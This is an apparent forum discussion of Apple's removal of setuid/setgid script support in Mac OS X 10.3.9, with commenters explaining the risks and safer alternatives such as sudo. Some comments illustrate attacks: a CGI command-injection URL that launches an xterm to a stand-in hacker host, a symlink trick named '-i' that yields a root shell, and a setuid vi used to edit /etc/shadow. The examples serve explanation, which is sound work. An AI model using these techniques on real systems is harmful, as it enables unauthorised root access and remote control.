It's not a Feature, It's a Vulnerability!

pmeunier writes "Apple's security stance is stunning. In the latest (10.3.9) update, Apple removed two capabilities because they pose security risks. One of them is the capability to run setuid and setguid scripts (the other was actually unused). Can other commercial OS vendors (how many are there :) adopt a similar stance? Will you be inconvenienced by the inability to run setuid scripts on MacOS X? Which other features/capabilities (in any OS) would you like to have removed?"

Comments

Re:Stunning?

[soyle]

I guess I missed what was "stunning" about this.

Especially since IBM's AIX hasn't allowed SUID scripts since version 3.5.something...

Answers

[hab136]

Can other commercial OS vendors (how many are there :) adopt a similar stance?

It'd be nice.

Will you be inconvenienced by the inability to run setuid scripts on MacOS X?

Not at all. SUID scripts are a huge hole. See What security problems exist with SUID scripts and programs? for an example. SUID scripts are usually created by lazy people who can't be bothered to figure out permissions.

Which other features/capabilities (in any OS) would you like to have removed?

I'd like to see the instant-flamewar generator removed.

Re:Derrrrrr....

[Anonymous Coward]

It lets the program/application/script run as owner (setuid) of the file, or as the group (setguid). So you could have a program owned by root, and when it gets executed it runs as root, rather than being run as whoever executed it.

Re:Stunning?

[Anonymous Coward]

SUID/SGID works exactly as designed, it's inherently flawed by design, that is the problem.

including the function was a mistake.

[Malor]

The functionality was a mistake to include in the first place. I don't remember precisely WHY this is, but I have read that it is simply impossible to make a secure SUID/SGID script in any current flavor of Unix.

Taking it out will undoubtedly inconvenience some folks, but it's sort of like being given a power tool without some critical piece of safety gear. Apple has, in essence, forced you to install that gear on your power tool, like it or not. If it inconveniences you, then you weren't using the tool safely to begin with.

From what I understand, it's usually better to use sudo for this anyway... you can set up sudo so that it will only allow you to execute a particular program or set of programs. The sudoers file is more than slightly cryptic, and it's a bit more typing (both "sudo" and possibly the user password), but this will give you much better safety.

If you just absolutely can't stand doing it that way, then write your script in perl or C and SUID that version. Note that it takes special care in both instances... SUID programs are dangerous, and if someone cracks a user account on your system, that's going to be one of the first things they'll look at to try to get root. Don't just toss something together, go look up how to do it safely. (short form: don't trust your environment, don't trust user input). Perl has some special functions just for this purpose, so be sure to read its documentation carefully.

Re:including the function was a mistake.

[greed]

Well, you can at least mitigate some of the problems by starting your script with "-pe". The "p" flag disables use of the user's ENV setting and ~/.*rc files. And "-e" has it bail on error.

Most shells should give you -p behaviour on SUID or SGID anyway (no matter what account they S?ID to).

I always set both in my scripts; what's the use of seeing someone's alias table? And if they're one of those weird people who doesn't know the difference between .profile and .(ba|k|z|)shrc, well, I don't want their messed-up environment settings to hit my script--they're just going to complain my script is broken. That's at work, at home, it's more of a performance and safety thing--don't read files you don't need.

And stopping on error is always good. If you are testing for errors, then commands are allowed to fail without aborting the script. But unhandled errors kill it--so someone trying to blast junk into the script might cause it to die earlier.

Still, there are so many ways for environment settings to poison a script or the shell command line, S?ID is too dangerous. Using a few well-chosen "sudo" commands inside the script is the way to go. And, for batch jobs, you can set up those commands and the specific argument pattern to run without password prompt in sudo.

Re:Derrrrrr....

[mmkkbb]

they are pretty self-explanatory for user commands.

if the setuid bit on a file is set, then any execution of that file is done with the privileges the file's owner (or group in the case of setguid).

for example:

$ chmod 4754 foo.sh
$ ls -l foo.sh
-rwsr-xr-- 1 root foousers 17 Apr 18 15:11 foo.sh

Now anyone in wheel can run foo.sh with root privileges.

$ chmod 2755 foo.sh
$ ls -l foo.sh
-rwxr-sr-x 1 root foousers 0 Apr 18 15:11 foo.sh

Now anyone on the system can run foousers with the privileges of a foousers member.

Linux doesn't allow it either

[�berhund]

Most (all?) Linux distros don't all this, either. Not sure where this happens, if it's bash or something deeper.

If you want to play, try making a script owned by root, which modifies something a normal user can't. Set it SUID (chmod u+s filename). Run it as a normal user. Shouldn't work (except on older OS/X).

Now, try setting vi or a copy of it SUID. (Again, make sure root owns it, and "chmod u+s filename".) Now run it as a normal user, and, say, edit your /etc/shadow. You shouldn't have any troubles doing so.

Now that you're done, get rid of those suid files so nobody else uses them.

Solaris already blocks SetUID shell scripts...

[Anonymous Coward]

...unless you build your own shell from source.

seems like a "good thing" to me.

Re:Ping

[Johnny Mnemonic]

How would something like ping be handled ( I don't use OS X )?

Only applies to scripts, not to compiled executeables. So it wouldn't matter at all.

Re:Ping

[jwthompson2]

Ping is an application, not a script. Applications can still be SETUID but scripts cannot. Not being able to run applications SETUID would cause loads of hassles I suspect. But not being able to run scripts SETUID just keeps lazy scripters from doing stupid things that could compromise their systems.

Why this is a non-issue...

[argent]

TANJ, man, setuid scripts didn't even exist as a concept for most of UNIX lifetime, because scripts were run by the shell... not directly by the kernel: every program out there did something like:

if ( (pid = fork()) == 0 ) {
execl(program, program, filename, NULL);
/* exec failed, try it as a script */
execl("/bin/sh", "sh", program, filename, NULL);
/* panic! No shell! */
perror("/bin/sh");
exit(-1);
}
...

Obviously in this scenario, since /bin/sh isn't setuid, setuid scripts won't work. Until they came up with the "#!" hack in the '80s there wasn't even a mechanism by which setuid scripts could be implemented.

It didn't take long before it was obvious that setuid scripts were a REALLY bad idea, and they've been backed out of one UNIX version after another. this isn't a matter of redefining a feature as a bug, it's a matter of asking "what took you so long?"...

Whoever approved this story should be ashamed of themselves. There's more than enough REAL news that matters...

Re:Companies warning to NOT install the upgrade

[mshmgi]

I take it you haven't actually used Safari in a looong time. "COMMAND-/" toggles the status bar on/off.

Now, here's what ticked me off. They changed the "View Source" command from "COM-OPT-V" to "COM-OPT-U" for no apparent reason. That one had me really stumped for about 3 seconds this morning. Damn you Apple!!!!!

Re:Weight the trade off

[Creepy]

First, this is about scripts, not setuid - if it removed setuid or setgid you wouldn't be able to sudo, since that is a setuid program.

Second, perl (a scripting language) has really led the way here - perl has not allowed for running of setuid and setgid in scripts for a long time.

Third, if you really need setuid and setgid to run your script, you can create a C wrapper for it. Yes, it's a pain, but it really emphasizes that you really know what you're doing. I remember seeing stuff like (fake URL) http://www.idioticmoron.org?command="runme.sh", which a smart hacker would see and convert to http://www.idioticmoron.org?command="runme.sh;env% 20DISPLAY=mycomputer.hacker.net:0.0%20xterm%20-sb% 20-sl10000" and have the cgi user's access (usually root) to your system with a convenient xterm (providing the machine is allowed as an xhost).

What is setuid and setgid? It runs the program as the owner (or group) of the program instead of the executor (the group ID is so the owner can run it with one set of permissions and the group a different set). In this way, you can have something like a counter that can be run by anyone but writes to a file that only that user can write to. To create such a file, you'd do something like chmod 4711 test.sh (setuid) or chmod 2711 test.sh (setgid). Since test.sh is a script (a shell script to be particular), this shouldn't be allowed now. A C program can call setuid and setgid internally, if it has permissions to (say, is running as root), so it can change the executor to the desired user or group and then run the script.

Re:Derrrrrr....

[and by]

You probably actually want 'sudo find / -perm +6000 -ls'. That'll find all the files with not just both, but either SUID or SGID.

Re:no suid

[javaxman]

Parent confuses setuid-executable with setuid-shell-script. Shell script setuid is a botch in general because shells are not designed to protect security when run with privileges and so are hoaxed into permitting a breakin.

The parent also didn't read the linked article:

Impact: Permitting SUID/SGID scripts to be installed could lead to privilege escalation.
Description: Mac OS X inherited the ability to run SUID/SGID scripts from FreeBSD. Apple does not distribute any SUID/SGID scripts, but the system would allow them to be installed or created. This update removes the ability of Mac OS X to run SUID/SGID scripts. Credit to Bruce Murphy of rattus.net and Justin Walker for reporting this issue.

emphasis mine. I'm going to guess shell scripts weren't the only kind of text file you could SUID/SGID ...

Re:Rammed down our throats?

[greed]

Like I said, removing SUID/SGID scripts is probably a good thing, but I definitely want developers to be as cautious as possible in how they remove features. Perhaps rather than completely removing certain features, they should be disabled by default.

Disallowing SUID/SGID scripts is industry standard in UNIX-land. Not that "everyone else does it" is a good justification on its own. But, in this case "everyone else had a reason".

You can easily run a script as any ID you desire via sudo, provided with the system. As Apple states, none of their software uses SUID/SGID scripts. And I very much doubt any 3rd-party software does also. It is just such a universally unavailable feature, no UNIX programmer would think to even try it these days.

The problem with suid scripts

[wirelessbuzzers]

Here's why IBM hasn't allowed them for ages.

The problem with suid scripts is the mechanism for implementing scripts. Essentially, a script is an executable beginning with

#!/path/to/interpreter arg

(arg is often left blank). When you run it,

scriptname arg1 arg2 arg3

is translated by the kernel to

/path/to/interpreter arg scriptname arg1 arg2 arg3

which is then executed. If the script is setuid, then logically the interpreter should be setuid.

Suppose then that you have a bash script /usr/local/bin/foo which is setuid root. If I create a symlink to it at /tmp/-i and set my path to include ".", then I can invoke it from tmp as "-i". The kernel translates this to

/bin/bash -i

run setuid root, which is a root login shell. D'oh.

Linux fixes this (if you turn on setuid scripts) with the /dev/fd/n system, that is, it opens the script as file descriptor 3 (say), and runs

/bin/bash /dev/fd/3

Still, this is a hack, and setuid scripts are bad for other reasons (environment poisoning, ...).

No it bloody won't.

[argent]

Yeah, people on other unices actually write scripts to do work. They get triggered, and run as user "oracle" or something like that.

Generally out of cron, which runs them as user oracle in a vanilla controlled environment, not whatever random or malicious environment some user running the scripts externally might set up.

. Instead, we'll get something worse: people writing binaries that SUID and execute any random shell script

Like sudo? For interactive work Mac OS X already has a mechanism to do this more safely, and for batch... well... if they're not already doing it for Linux systems that don't support setuid scripts, and didn't do it for UNIX before the brief life of setuid scripts, why would they start now?